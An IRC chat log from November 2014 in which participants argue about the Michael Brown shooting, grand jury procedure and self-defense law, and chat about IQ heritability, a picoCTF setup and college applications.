[2014-11-25T02:52:38-0500] <@awe> Give them the experience.
[2014-11-25T02:52:51-0500] <@awe> And I don't really accept the argument that someone is somehow incapable of doing it.
[2014-11-25T02:52:57-0500] <@awe> I think we're just failing them as teachers.
[2014-11-25T02:53:06-0500] <nezorg> a lot of intelligence is determined at birth, for better or for worse
[2014-11-25T02:53:21-0500] <nezorg> (well not at birth but you know what I mean)
[2014-11-25T02:53:37-0500] <@awe> That's really important to address.
[2014-11-25T02:53:40-0500] <@awe> Because it's not at birth.
[2014-11-25T02:53:42-0500] <@awe> It's environmental.
[2014-11-25T02:53:45-0500] <@awe> It's based on our educational system.
[2014-11-25T02:53:53-0500] <nezorg> no, no, that's not what i meant
[2014-11-25T02:54:04-0500] <nezorg> I meant as part of our genetics and epigenetics
[2014-11-25T02:54:11-0500] <@awe> That's uhh... spurious.
[2014-11-25T02:54:51-0500] <@awe> Or maybe not exactly spurious.
[2014-11-25T02:55:05-0500] <@awe> But I don't think that's very well founded, despite it certainly being widely believed.
[2014-11-25T02:55:13-0500] <nezorg> https://en.wikipedia.org/wiki/Heritability_of_IQ
[2014-11-25T02:55:25-0500] <@awe> What is IQ?
[2014-11-25T02:55:33-0500] <nezorg> oh no
[2014-11-25T02:55:36-0500] <nezorg> not this debate
[2014-11-25T02:55:41-0500] • nezorg: nopes out
[2014-11-25T02:55:47-0500] <nezorg> I'm going to bed
[2014-11-25T02:55:49-0500] <nezorg> night
[2014-11-25T02:56:21-0500] <@awe> Lol.
[2014-11-25T02:56:39-0500] <@awe> My point was mainly that I don't think IQ is the best or the only metric for measuring intellect.
[2014-11-25T02:56:57-0500] <@awe> Plus, this article talks a lot about this as an open debate in science.
[2014-11-25T02:58:11-0500] <@awe> And given that complexity, I'm not prepared to make policy decisions about that.
[2014-11-25T02:58:23-0500] <@awe> I'd rather teach people under the assumption that if we teach them well, they will learn.
[2014-11-25T03:02:22-0500] <@awe> good night though, nezorg
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[2014-11-25T10:03:32-0500] <alokpathy> Resistance?
[2014-11-25T10:15:09-0500] <alokpathy> Darn.
[2014-11-25T10:15:11-0500] <alokpathy> Is nobody online?
[2014-11-25T10:15:14-0500] <alokpathy> [cricket sounds]
[2014-11-25T10:36:43-0500] <JacobEdelman> nope
[2014-11-25T10:56:56-0500] <@LittleBobbyTables> No, we're all dead.
[2014-11-25T11:05:10-0500] <@LittleBobbyTables> Pst, JacobEdelman or apothy
[2014-11-25T11:09:23-0500] <JacobEdelman> yes?
[2014-11-25T11:10:23-0500] <@LittleBobbyTables> Wanna find me 2 8g laptop rams cause I'm super lazy?
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[2014-11-25T13:27:19-0500] <JacobEdelman> LittleBobbyTables: nope
[2014-11-25T13:28:48-0500] <@LittleBobbyTables> pls
[2014-11-25T13:30:32-0500] <JacobEdelman> hmmm..... no, cause I'd take em if I found them
[2014-11-25T13:31:18-0500] <@LittleBobbyTables> Well then just link me to them
[2014-11-25T13:31:19-0500] <@LittleBobbyTables> ez
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[2014-11-25T14:16:57-0500] <@awe> Katz has gross political opinions.
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[2014-11-25T14:36:41-0500] <Tamini> awe: the facebook post?
[2014-11-25T14:36:46-0500] <@awe> Yeah.
[2014-11-25T14:36:48-0500] <Tamini> also why is kat not here :/
[2014-11-25T14:38:16-0500] <@awe> I don't know.
[2014-11-25T14:39:47-0500] <@awe> Tamini: he thinks that people regularly get shot and then continue acting functionally.
[2014-11-25T14:40:09-0500] <Tamini> well, to be fair,
[2014-11-25T14:40:17-0500] <Tamini> he is the definition of sheltered, isn't he
[2014-11-25T14:42:13-0500] <@awe> Obviously.
[2014-11-25T14:43:27-0500] <Tamini> heh
[2014-11-25T14:43:35-0500] <Tamini> can i invite him?
[2014-11-25T14:43:51-0500] <Tamini> do you feel like having a debate?
[2014-11-25T14:44:16-0500] <Tamini> awe
[2014-11-25T14:44:25-0500] <@awe> I mean, we already are.
[2014-11-25T14:45:46-0500] <@awe> He said that regardless of whether or not the training is wrong, Wilson is innocent because he was just following his training.
[2014-11-25T14:45:47-0500] <@awe> Okay then.
[2014-11-25T14:45:56-0500] <Tamini> heh
[2014-11-25T14:46:00-0500] <Tamini> can i bring him here?
[2014-11-25T14:46:01-0500] <@awe> Because we haven't seen the "just following orders" argument before.
[2014-11-25T14:46:07-0500] <@awe> Sure, if you want.
[2014-11-25T14:46:21-0500] <Tamini> aight okay
[2014-11-25T14:46:29-0500] <Tamini> heh, katz's opinions
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[2014-11-25T14:53:46-0500] <venividivici42> ohai
[2014-11-25T14:54:20-0500] <Tamini> eyokatz
[2014-11-25T14:54:23-0500] <Tamini> goddammit no rhyme
[2014-11-25T14:54:45-0500] <Tamini> awe: katz is here
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[2014-11-25T14:56:28-0500] <@awe> venividivici42: A .40 has a 96% instant fatality rate. A 9mm has upwards of 80%.
[2014-11-25T14:57:03-0500] <@awe> venividivici42: One shot is exactly enough if you absolutely must accept the prospect that a police officer has to shoot someone if they feel any danger at all.
[2014-11-25T14:58:48-0500] <venividivici42> i'm almost certain those numbers are wrong
[2014-11-25T14:58:57-0500] <venividivici42> but ok let me look more for a sec
[2014-11-25T15:00:04-0500] <venividivici42> alright i'm having trouble finding those numbers
[2014-11-25T15:00:10-0500] <venividivici42> but clearly in this case they're irreleant
[2014-11-25T15:00:23-0500] <venividivici42> considering the last shot was the fatal one
[2014-11-25T15:00:28-0500] <venividivici42> that implies brown took 5 non-fatal shots
[2014-11-25T15:00:35-0500] <@awe> That's not how it works.
[2014-11-25T15:00:50-0500] <@awe> One shot can be fatal over the course of a minute.
[2014-11-25T15:01:03-0500] <venividivici42> how are you defining "instant fatality" then
[2014-11-25T15:01:43-0500] <@awe> Well, a minute is longer than I meant.
[2014-11-25T15:02:03-0500] <@awe> Basically, if you unload six bullets into someone in quick succession, you can't say that the last one was the reason they died.
[2014-11-25T15:02:26-0500] <venividivici42> well
[2014-11-25T15:02:32-0500] <venividivici42> in this case it probably was
[2014-11-25T15:02:41-0500] <venividivici42> given that the family autopsy doctor said he coul dhave survived the first 5 shots
[2014-11-25T15:02:52-0500] <venividivici42> but yes i agree that he was probably incapacitated after n<6 shots
[2014-11-25T15:03:02-0500] <@awe> He was likely incapacitated after one.
[2014-11-25T15:03:06-0500] <@awe> Most people would be.
[2014-11-25T15:03:07-0500] <venividivici42> that's false
[2014-11-25T15:03:14-0500] <venividivici42> he was moving towards wilson after 3
[2014-11-25T15:03:19-0500] <@awe> According to?
[2014-11-25T15:03:28-0500] <venividivici42> according to all the witnesses and the ballistics
[2014-11-25T15:03:31-0500] <@awe> Also, is being able to stumble forward evidence of being equipped to kill someone?
[2014-11-25T15:03:34-0500] <venividivici42> the speed of his movement is unknown however
[2014-11-25T15:03:45-0500] <venividivici42> not necessarily
[2014-11-25T15:04:02-0500] <venividivici42> but it is potentially evidence of the *intent* to kill someone
[2014-11-25T15:04:15-0500] <@awe> http://www.firearmstactical.com/pdf/fbi-hwfe.pdf
[2014-11-25T15:04:36-0500] <@awe> Jesus christ. Any reasonable person would not be afraid of someone they just shot three times killing them.
[2014-11-25T15:04:44-0500] <@awe> And regardless, that's still a flaw in their training.
[2014-11-25T15:06:00-0500] <venividivici42> also, the only reason i'm splitting them into 3 and 3 is because he originally fired off some rounds, hitting 3
[2014-11-25T15:06:22-0500] <venividivici42> then brown ignored cries of "stop" and continued heading towrads wilson at which point he fired again
[2014-11-25T15:06:47-0500] <@awe> Again, shot three times.
[2014-11-25T15:07:11-0500] <@awe> The officer should not assume that his intent is to kill him after he's SHOT HIM THREE TIMES.
[2014-11-25T15:07:12-0500] <venividivici42> i'm not sure what that linkn was for
[2014-11-25T15:08:20-0500] <venividivici42> well wait i'm not sure what you're arguing
[2014-11-25T15:08:26-0500] <venividivici42> are you arguing he shouldn't have begun shooting at all
[2014-11-25T15:08:35-0500] <venividivici42> or that he should have stopped after 3 hits
[2014-11-25T15:08:38-0500] <@awe> I don't think he should've begun shooting.
[2014-11-25T15:08:48-0500] <@awe> If you think he should, you should agree that he should've stopped after three.
[2014-11-25T15:08:57-0500] <venividivici42> he had no way of knowing that 3 had hit though
[2014-11-25T15:09:01-0500] <venividivici42> he shot off far more
[2014-11-25T15:09:06-0500] <venividivici42> for all he knew he missed completely
[2014-11-25T15:09:30-0500] <@awe> Definitely can't see the person bleeding or anything.
[2014-11-25T15:09:33-0500] <@awe> Or the hole in their body.
[2014-11-25T15:09:56-0500] <venividivici42> actually i wouldn't be surprised
[2014-11-25T15:10:01-0500] <venividivici42> but regardless wilson is not a doctor
[2014-11-25T15:10:07-0500] <@awe> Or their immediate reaction to BEING SHOT.
[2014-11-25T15:10:11-0500] <venividivici42> he would have no idea whether the shots were sufficient to incaacitate thim
[2014-11-25T15:10:15-0500] <venividivici42> incapacitate him*
[2014-11-25T15:10:23-0500] <@awe> That doesn't matter.
[2014-11-25T15:10:23-0500] <venividivici42> given that brown continued moving towards him
[2014-11-25T15:10:26-0500] <@awe> He shouldn't keep shooting.
[2014-11-25T15:10:37-0500] <venividivici42> he cannot conclude that there was no longer a threat
[2014-11-25T15:10:41-0500] <@awe> If you can see the person react to being shot and they're unarmed, you can stop shooting.
[2014-11-25T15:10:49-0500] <@awe> An unarmed person is not a credible threat.
[2014-11-25T15:10:57-0500] <@awe> And even if it was, again, the training is flawed.
[2014-11-25T15:11:06-0500] <venividivici42> even if the training is flawed
[2014-11-25T15:11:13-0500] <venividivici42> that has nothing to do with wilson's handling of it
[2014-11-25T15:11:14-0500] <@awe> He could decide to disobey it because it's flawed.
[2014-11-25T15:11:19-0500] <@awe> It absolutely does have to do with him.
[2014-11-25T15:11:20-0500] <venividivici42> ???
[2014-11-25T15:11:21-0500] <@awe> He can make his own judgements.
[2014-11-25T15:11:27-0500] <venividivici42> you cannot possibly claim
[2014-11-25T15:11:39-0500] <venividivici42> that he should ignore his training because police training is flawed
[2014-11-25T15:11:48-0500] <@awe> In this situation, obviously, yes.
[2014-11-25T15:12:17-0500] <venividivici42> ok
[2014-11-25T15:12:20-0500] <venividivici42> suppose wilson was not a cop
[2014-11-25T15:12:25-0500] <venividivici42> instead he was a citizen who legally had a gun
[2014-11-25T15:12:37-0500] <venividivici42> would he still be unjustified in defending his life
[2014-11-25T15:13:09-0500] <@awe> Well, in this situation, yes.
[2014-11-25T15:13:12-0500] <@awe> He wasn't defending his life.
[2014-11-25T15:13:26-0500] <@awe> There was no credible threat.
[2014-11-25T15:13:46-0500] <venividivici42> ok well first of all
[2014-11-25T15:14:03-0500] <venividivici42> brown had just gone for his gun
[2014-11-25T15:14:08-0500] <@awe> Can you prove that?
[2014-11-25T15:14:16-0500] <venividivici42> i can support it with physical evidence
[2014-11-25T15:14:27-0500] <venividivici42> and it's irrelevant whether or not i can prove it
[2014-11-25T15:14:31-0500] <@awe> You're actually wrong.
[2014-11-25T15:14:34-0500] <@awe> It's completely relevant.
[2014-11-25T15:14:35-0500] <venividivici42> you have to disprove it
[2014-11-25T15:14:39-0500] <@awe> That's not how it works.
[2014-11-25T15:14:43-0500] <venividivici42> that is exactly how it works
[2014-11-25T15:14:49-0500] <@awe> When you try to use self-defense, the burden of proof shifts to you.
[2014-11-25T15:14:52-0500] <venividivici42> bruden of proof shifts to prosecution in self-defense claims
[2014-11-25T15:14:54-0500] <venividivici42> that's not true
[2014-11-25T15:15:03-0500] <venividivici42> the burden of proof rests on the prosecution to disrove self-defense
[2014-11-25T15:15:06-0500] <@awe> The burden of proof is normally on the prosecution.
[2014-11-25T15:16:10-0500] <venividivici42> perhaps i misspoke
[2014-11-25T15:16:15-0500] <venividivici42> it's on the defense to claim that
[2014-11-25T15:16:26-0500] <@awe> The defense must prove that the action was indeed self-defense.
[2014-11-25T15:16:30-0500] <venividivici42> there was a reasonable belief that he acted to protect himself
[2014-11-25T15:16:42-0500] <venividivici42> in practice this is as simple as saying "i believed that i acted to protect myself"
[2014-11-25T15:16:47-0500] <@awe> That's not true.
[2014-11-25T15:17:12-0500] <@awe> In all cases where the defendant uses self defense as a defense to a charge of assault or battery, the following five elements must be proven.
[2014-11-25T15:17:12-0500] <@awe> First, the defendant must prove that he reasonably believed that his act was necessary to defend himself. This defense is available even if it turns out that the defendant did not actually need to defend himself. As long as he reasonably believed that he needed to defend himself, he will be able to use this defense.
[2014-11-25T15:17:12-0500] <@awe> Second, the defendant must show that he reasonably believed that he was being threatened with physical harm.
[2014-11-25T15:17:12-0500] <@awe> Third, the defendant must show that the threatened harm was imminent.
[2014-11-25T15:17:12-0500] <@awe> Fourth, the defendant must show that he reasonably believed that the threatened harm was unlawful.
[2014-11-25T15:17:12-0500] <@awe> Fifth, the defendant must show that the threatened harm was of such a nature that it actually required the level of force that the defendant used.
[2014-11-25T15:17:17-0500] <@awe> Those are the elements of a self-defense claim.
[2014-11-25T15:18:09-0500] <@awe> The fifth clause deals with level of force. In other words, if you murder someone, you must be able to prove that murder was an appropriate response to their threat. It was not.
[2014-11-25T15:19:51-0500] <@awe> venividivici42: I took a criminal law course where our primary focus was on exactly this. Self-defense is not as simple as just saying "I was protecting myself. I'm innocent."
[2014-11-25T15:20:01-0500] <venividivici42> i'm looking now i may be wrong
[2014-11-25T15:20:16-0500] <@awe> Although these five elements must be proven in any instance in which the defendant claims self defense, one other element must be proven when the defendant has used deadly force on the victim. In such a situation, the defendant must additionally show that he reasonably believed that the other person was about to inflict death or serious bodily harm on him and that the deadly force he used in self defense was necessary to prevent the death or serious bodily harm with
[2014-11-25T15:20:16-0500] <@awe>  which he was threatened.
[2014-11-25T15:21:21-0500] <venividivici42> i'll take your word for it for now
[2014-11-25T15:21:32-0500] <venividivici42> but it makes very little sense to me
[2014-11-25T15:22:28-0500] <venividivici42> but the evidence does support that brown was going for wilson's gun
[2014-11-25T15:22:40-0500] <@awe> A court of law has not determined that.
[2014-11-25T15:22:42-0500] <venividivici42> the alternative explanation being that wilson dragged him through his window with the express purpose of shooting his hand
[2014-11-25T15:23:02-0500] <@awe> There needs to be a trial.
[2014-11-25T15:23:23-0500] <@awe> And you're pretty much entirely ignoring the fact that the reactions of people aren't just about Wilson.
[2014-11-25T15:23:44-0500] <venividivici42> the reactions of people to other things have nothing to do with the wilson case
[2014-11-25T15:24:22-0500] <venividivici42> like i said, the rest of the handling of this situation has been a god-awful mess
[2014-11-25T15:24:47-0500] <@awe> A great deal of the people upset about the lack of trial is that there's NEVER a trial.
[2014-11-25T15:24:47-0500] <venividivici42> and this situation is indicative of a general culture
[2014-11-25T15:24:56-0500] <venividivici42> but that's totally irrelevant
[2014-11-25T15:24:58-0500] <@awe> Cops who shoot black men virtually never go to trial.
[2014-11-25T15:25:00-0500] <@awe> It's relevant.
[2014-11-25T15:25:03-0500] <venividivici42> no it's not
[2014-11-25T15:25:06-0500] <venividivici42> you canot possibly contend
[2014-11-25T15:25:11-0500] <venividivici42> that wilson should be tried
[2014-11-25T15:25:13-0500] <@awe> It's not relevant directly to law, but it's relevant to people's emotions.
[2014-11-25T15:25:17-0500] <venividivici42> because other people weren't in the past
[2014-11-25T15:25:39-0500] <venividivici42> i agree that there should have been a trial
[2014-11-25T15:25:39-0500] <@awe> Wilson should be tried because there's a real possibility that he murdered someone unjustly.
[2014-11-25T15:25:55-0500] <@awe> Trying Wilson is a measure of good faith saying that we will hold police accountable for their actions.
[2014-11-25T15:26:05-0500] <venividivici42> i strongly doubt that such a trial will affect hte outcome however
[2014-11-25T15:26:16-0500] <@awe> People are upset because there's no accountability for police officers.
[2014-11-25T15:26:20-0500] <venividivici42> you don't put someone on trial to make a statement
[2014-11-25T15:26:30-0500] <venividivici42> you put someone on trial because they're guilty of a crime
[2014-11-25T15:26:38-0500] <@awe> No, you put someone on trial because they may be guilty of a crime.
[2014-11-25T15:27:05-0500] <venividivici42> well
[2014-11-25T15:27:14-0500] <venividivici42> "may" is a stronger term than common usage
[2014-11-25T15:27:15-0500] <venividivici42> but yes
[2014-11-25T15:27:34-0500] <@awe> So, he should be on trial.
[2014-11-25T15:27:34-0500] <venividivici42> i agree there should be a trial
[2014-11-25T15:27:39-0500] <venividivici42> i do not agree that the grand jury got it wrong
[2014-11-25T15:28:21-0500] <venividivici42> to indict the grand jury needed to find probable cause that a crime had been committed and that there was probable cause to discredit self-defense
[2014-11-25T15:28:26-0500] <venividivici42> which is notable
[2014-11-25T15:28:30-0500] <venividivici42> because that's not how a grand jury normally works
[2014-11-25T15:28:46-0500] <@awe> No, they don't need to find probable cause to discredit self-defense.
[2014-11-25T15:29:01-0500] <@awe> The grand jury needs to find probable cause that a crime has been committed. 
[2014-11-25T15:29:02-0500] <@awe> Period.
[2014-11-25T15:30:06-0500] <venividivici42> that doens't appear to be true in this case
[2014-11-25T15:30:09-0500] <venividivici42> which is extremely strange
[2014-11-25T15:30:19-0500] <venividivici42> since in general they only need to find probable cause that a crime has been committed like you said
[2014-11-25T15:30:19-0500] <@awe> Which is part of the issue.
[2014-11-25T15:30:53-0500] <@awe> lethality stats, by the way: http://www.chuckhawks.com/handgun_power_chart.htm
[2014-11-25T15:31:16-0500] <@awe> Anyway, the purpose of a grand jury is to assess whether or not a crime has been committed.
[2014-11-25T15:31:22-0500] <@awe> They don't get to hear self-defense claims.
[2014-11-25T15:31:27-0500] <@awe> They don't make decisions about that.
[2014-11-25T15:31:29-0500] <@awe> It's not their purpose.
[2014-11-25T15:31:48-0500] <@awe> The reason why they have in this case is because the legal system is being bent specifically to not hold police accountable for their actions.
[2014-11-25T15:31:50-0500] <venividivici42> but it was in this case
[2014-11-25T15:32:04-0500] <@awe> That's the issue!
[2014-11-25T15:32:10-0500] <@awe> The problem is that the grand jury was misused.
[2014-11-25T15:32:25-0500] <venividivici42> yes
[2014-11-25T15:32:34-0500] <@awe> So, what are you complaining about in your post?
[2014-11-25T15:32:47-0500] <venividivici42> a) factual errors that people are making
[2014-11-25T15:32:57-0500] <venividivici42> b) the willingness to crucify someone without 5 mintues of research
[2014-11-25T15:33:08-0500] <venividivici42> c) the outrage over a grand jury decision that was made in accordance with their chrage
[2014-11-25T15:33:15-0500] <@awe> It wasn't.
[2014-11-25T15:33:28-0500] <@awe> Everyone should be outraged at the grand jury decision because it's rooted in something that is not part of the duty of a grand jury.
[2014-11-25T15:33:59-0500] <@awe> People aren't crucifying him. They're outraged at the fact that he's not getting a trial.
[2014-11-25T15:34:06-0500] <venividivici42> that has nothing to do with the grand jury
[2014-11-25T15:34:11-0500] <venividivici42> and everything to do with the prosecutors
[2014-11-25T15:34:16-0500] <@awe> That's not true.
[2014-11-25T15:34:19-0500] <@awe> The grand jury makes the decision.
[2014-11-25T15:34:27-0500] <venividivici42> and the prosecutors set hte framework
[2014-11-25T15:34:43-0500] <venividivici42> if the prosecution wanted an indictment
[2014-11-25T15:34:49-0500] <@awe> Obviously the prosecutors didn't.
[2014-11-25T15:34:51-0500] <@awe> People are pissed about that.
[2014-11-25T15:34:52-0500] <venividivici42> they wouldn't have gone about it this way
[2014-11-25T15:35:02-0500] <venividivici42> so be up in arms about the prosecution
[2014-11-25T15:35:04-0500] <venividivici42> not about the grand jury
[2014-11-25T15:35:06-0500] <venividivici42> not about wilson
[2014-11-25T15:35:10-0500] <@awe> They're not mad about the grand jury.
[2014-11-25T15:35:14-0500] <@awe> They're made about the grand jury's decision.
[2014-11-25T15:35:32-0500] <venividivici42> but anyway
[2014-11-25T15:35:33-0500] <venividivici42> it begs the question
[2014-11-25T15:35:48-0500] <venividivici42> why didn't the prosecution want an indictment
[2014-11-25T15:36:00-0500] <@awe> Because he's a cop and the prosecution is the state.
[2014-11-25T15:36:01-0500] <@awe> Duh.
[2014-11-25T15:36:07-0500] <@awe> That's what people are pissed off about.
[2014-11-25T15:36:09-0500] <@awe> That's why there's rioting.
[2014-11-25T15:37:07-0500] <venividivici42> well you can never reasonably support rioting
[2014-11-25T15:37:12-0500] <@awe> I can understand it.
[2014-11-25T15:37:25-0500] <@awe> I don't think it's unjustified.
[2014-11-25T15:37:46-0500] <venividivici42> how can you say rioting is unjustified
[2014-11-25T15:37:58-0500] <venividivici42> while at the same time condemn wilson for shooting
[2014-11-25T15:38:06-0500] <@awe> What?
[2014-11-25T15:38:10-0500] <@awe> I just said it's not unjustified.
[2014-11-25T15:38:16-0500] <venividivici42> uh
[2014-11-25T15:38:21-0500] <venividivici42> how can you say rioting is justified*
[2014-11-25T15:38:28-0500] <venividivici42> orry
[2014-11-25T15:38:41-0500] <@awe> Because in one case, it's a man murdering someone, in the other case it's an entire system working against a group of people.
[2014-11-25T15:40:09-0500] <venividivici42> well 
[2014-11-25T15:40:23-0500] <venividivici42> i don't think the two are compatable
[2014-11-25T15:40:31-0500] <@awe> Yeah, I don't know why you just compared them.
[2014-11-25T15:40:36-0500] <@awe> They're completely different.
[2014-11-25T15:41:22-0500] <venividivici42> well anyway
[2014-11-25T15:41:36-0500] <venividivici42> if there was a trial
[2014-11-25T15:41:55-0500] <venividivici42> it would certainly be extremely difficult for wilson to actually get convicted
[2014-11-25T15:41:57-0500] <@awe> Our legal system is racist. It protects police officers from ever being held accountable. Yes, people should be upset. Yes, people should be protesting.
[2014-11-25T15:42:05-0500] <venividivici42> protesting and rioting are very different things
[2014-11-25T15:42:23-0500] <@awe> Protesting turns into riots when the police show up in armored vehicles with guns and tear gas.
[2014-11-25T15:42:27-0500] <venividivici42> and whether or not it's racist and in favor of police officers is only tangentially relevant
[2014-11-25T15:42:36-0500] <@awe> That's not true.
[2014-11-25T15:42:39-0500] <@awe> It's not tangentially relevant.
[2014-11-25T15:42:43-0500] <@awe> That's the whole reason people are protesting.
[2014-11-25T15:42:54-0500] <venividivici42> it's relevant to the protests
[2014-11-25T15:43:00-0500] <venividivici42> which i support as well (but not rioting)
[2014-11-25T15:43:05-0500] <venividivici42> but not the case
[2014-11-25T15:43:23-0500] <@awe> The case isn't really that important except for it's implications to the protest.
[2014-11-25T15:43:50-0500] <venividivici42> perhaps
[2014-11-25T15:44:26-0500] <@awe> It has more to do with systemic issues than it does any one cop shooting any one kid
[2014-11-25T15:44:35-0500] <venividivici42> that is true
[2014-11-25T15:44:44-0500] <venividivici42> which is mostly my point
[2014-11-25T15:44:54-0500] <venividivici42> being that you cannot condemn wilson for systemic issues
[2014-11-25T15:45:03-0500] <@awe> He's a participant in the system and he's not speaking out against it.
[2014-11-25T15:45:08-0500] <@awe> He's benefiting from systemic flaws.
[2014-11-25T15:45:13-0500] <@awe> I can condemn him for that.
[2014-11-25T15:45:15-0500] <venividivici42> what's he supposed to do
[2014-11-25T15:45:36-0500] <@awe> "I want a fair trial. I don't want the legal system to be bent to protect me. I'm a citizen like everyone else."
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[2014-11-25T15:55:02-0500] Set by Pidgey on November 23, 2014 at 4:10:59 PM EST
[2014-11-25T15:46:04-0500] <venividivici42> that's not a realistic proposition
[2014-11-25T15:46:47-0500] <venividivici42> but the point remains that if there was a trial
[2014-11-25T15:47:03-0500] <venividivici42> it would most likely result in full acquittal
[2014-11-25T15:47:10-0500] <venividivici42> compare to e.g. zimmerman trial
[2014-11-25T15:47:20-0500] <venividivici42> in which the facts were significantly more muddied
[2014-11-25T15:48:12-0500] <venividivici42> so it's a little odd to be going crazy for a trial
[2014-11-25T15:48:25-0500] <venividivici42> when it's reasonably clear that it wouldn't serve anything more than a ceremonial purpose
[2014-11-25T15:48:30-0500] <JacobEdelman> katz, you making abstractf?
[2014-11-25T15:48:36-0500] <venividivici42> ideally
[2014-11-25T15:48:57-0500] <JacobEdelman> (also, trying to argue politics with awe? good luck.)
[2014-11-25T15:48:59-0500] <venividivici42> jay is scared that pico's system is insecure or something
[2014-11-25T15:49:11-0500] <JacobEdelman> .... I talked to him about that a few days ago
[2014-11-25T15:49:11-0500] <venividivici42> because apparnetly some guys managed to inject stuff into it
[2014-11-25T15:49:15-0500] <JacobEdelman> they didn;t
[2014-11-25T15:49:17-0500] <venividivici42> oh ok
[2014-11-25T15:49:33-0500] <JacobEdelman> unitedjaymo: you there?
[2014-11-25T15:49:44-0500] <venividivici42> if he gets backend done then it'll happen
[2014-11-25T15:50:07-0500] <JacobEdelman> I'll help you guys set up the picoctf 2014 system
[2014-11-25T15:50:10-0500] <JacobEdelman> once it is out
[2014-11-25T15:51:36-0500] <venividivici42> awesome :D
[2014-11-25T15:52:29-0500] <+Tamini> venividivici42: there's an update for that iirc
[2014-11-25T15:52:35-0500] <+Tamini> and abstractf i get it ;P
[2014-11-25T15:52:55-0500] <venividivici42> :P
[2014-11-25T15:55:03-0500] Mode is +nt
[2014-11-25T15:55:28-0500] <@awe> venividivici42: the ceremonial purpose is important.
[2014-11-25T15:55:46-0500] <@awe> venividivici42: Like I said, it's a gesture in good faith that they're holding the police accountable.
[2014-11-25T15:57:03-0500] <venividivici42> but there's practically no chance of conviction
[2014-11-25T15:57:17-0500] <venividivici42> (yes, i'm not a lawyer)
[2014-11-25T15:57:27-0500] <@awe> The point is holding the police accountable.
[2014-11-25T15:57:46-0500] <venividivici42> but they did
[2014-11-25T15:57:50-0500] <@awe> No, they did not.
[2014-11-25T15:57:58-0500] <@awe> They hand-waived. They cheated the legal system.
[2014-11-25T15:58:01-0500] <venividivici42> they had an investigation into it and determined that there was not sufficient cause for a trial
[2014-11-25T15:58:06-0500] <@awe> No, they didn't.
[2014-11-25T15:58:30-0500] <@awe> They had an investigation into it, and then directed the grand jury to make an evaluation on the legitimacy of a self-defense claim despite that being completely separate from the purpose of a grand jury.
[2014-11-25T15:58:42-0500] <@awe> This wasn't a fair process. This is not what accountability looks like.
[2014-11-25T15:59:11-0500] <venividivici42> are you saying that people would be less angry if there was a trial that returned an acquittal
[2014-11-25T16:00:48-0500] <venividivici42> because frankly i doubt that
[2014-11-25T16:01:27-0500] <venividivici42> not to mention that the grand jury basically *was* a trial with a lower standard of proof
[2014-11-25T16:01:42-0500] <venividivici42> but they didn't even meet that standard
[2014-11-25T16:02:43-0500] <venividivici42> anyway the problem with basing a movement on a single case
[2014-11-25T16:02:50-0500] <venividivici42> is when that case falls apart so does the movement
[2014-11-25T16:03:12-0500] <venividivici42> which is being seen already
[2014-11-25T16:03:52-0500] <venividivici42> the same thing happened with zimmerman
[2014-11-25T16:04:02-0500] <venividivici42> you had basically 24 hour news coverage with everyone calling for his head
[2014-11-25T16:04:27-0500] <venividivici42> but when that case fell apart so did the entire movement
[2014-11-25T16:05:37-0500] <JacobEdelman> venividivici42: I was agreeing with you, but what does this mean? http://fivethirtyeight.com/datalab/ferguson-michael-brown-indictment-darren-wilson/
[2014-11-25T16:06:20-0500] <venividivici42> it means that the prosecution used the grand jury in a very non-standard way
[2014-11-25T16:06:27-0500] <JacobEdelman> which was?
[2014-11-25T16:06:58-0500] <venividivici42> normally in a grand jury proceeding
[2014-11-25T16:07:15-0500] <venividivici42> the prosecution lays out their evidence and asks the jury to decide if there's sufficient cause to indict on charge x
[2014-11-25T16:07:19-0500] <venividivici42> in this case
[2014-11-25T16:07:29-0500] <venividivici42> the prosecution laid out ALL the evidence (including for the defense)
[2014-11-25T16:07:40-0500] <venividivici42> and asked the jury to decide what, if anything, to indict on
[2014-11-25T16:07:53-0500] <venividivici42> including directing them to rule on self-defense claims
[2014-11-25T16:08:07-0500] <venividivici42> effectively turning it into a trial with a lower standard of proof
[2014-11-25T16:08:23-0500] <JacobEdelman> ah.... why?
[2014-11-25T16:08:46-0500] <venividivici42> well
[2014-11-25T16:08:51-0500] <venividivici42> depends on who you believe :)
[2014-11-25T16:09:09-0500] <venividivici42> the most benign explanation is they simply wanted to figure out the strength of their case
[2014-11-25T16:09:37-0500] <venividivici42> the more cynical one is that they knew they weren't going to win a trial, but they couldn't do nothing because of the public response, so they found a convenient way to avoid a trial
[2014-11-25T16:10:12-0500] <venividivici42> then the really cynical one is you had the state "prosecuting" a cop, so they basically got the jury to let it go
[2014-11-25T16:10:26-0500] <venividivici42> (i think it's the second, awe thinks it's the third)
[2014-11-25T16:11:21-0500] <JacobEdelman> okay, I;lll agree with the second
[2014-11-25T16:11:25-0500] <JacobEdelman> in other news
[2014-11-25T16:11:32-0500] <JacobEdelman> you going to PennApps?
[2014-11-25T16:11:47-0500] <venividivici42> what's that
[2014-11-25T16:11:56-0500] <venividivici42> @tamini: wtf tja aced pumac power round O.O
[2014-11-25T16:12:07-0500] <+Tamini> yeah
[2014-11-25T16:12:08-0500] <+Tamini> we did okay
[2014-11-25T16:12:53-0500] <venividivici42> wait omg
[2014-11-25T16:12:56-0500] <venividivici42> i won a tiebreaker
[2014-11-25T16:12:59-0500] <venividivici42> with my 0 on tiebreakers
[2014-11-25T16:13:00-0500] <venividivici42> yesssss
[2014-11-25T16:13:44-0500] <+Tamini> LOL
[2014-11-25T16:13:47-0500] <+Tamini> you what
[2014-11-25T16:13:47-0500] <venividivici42> oh it's a hackathon @jacobedelman: nope
[2014-11-25T16:13:48-0500] <+Tamini> :P
[2014-11-25T16:14:02-0500] <+Tamini> venividivici42: teach me how to number theory
[2014-11-25T16:14:08-0500] <+Tamini> alex katz based god
[2014-11-25T16:14:18-0500] <+Tamini> also yo, where are you applying to college?
[2014-11-25T16:14:25-0500] <venividivici42> mit
[2014-11-25T16:14:35-0500] <+Tamini> no shit :P
[2014-11-25T16:14:36-0500] <+Tamini> where else?
[2014-11-25T16:14:52-0500] <venividivici42> stanford princeton cmu berkeley wash u and some chess places
[2014-11-25T16:14:54-0500] <JacobEdelman> nowhere else
[2014-11-25T16:15:02-0500] <JacobEdelman> cause he knows hes gonna get in to mit
[2014-11-25T16:15:03-0500] <JacobEdelman> :P
[2014-11-25T16:15:15-0500] <JacobEdelman> (wait, places specificaly for chess?)
[2014-11-25T16:15:21-0500] <venividivici42> well
[2014-11-25T16:15:25-0500] <venividivici42> places that exist
[2014-11-25T16:15:30-0500] <venividivici42> and have strong chess programs
[2014-11-25T16:15:44-0500] <+Tamini> ooh, like where?
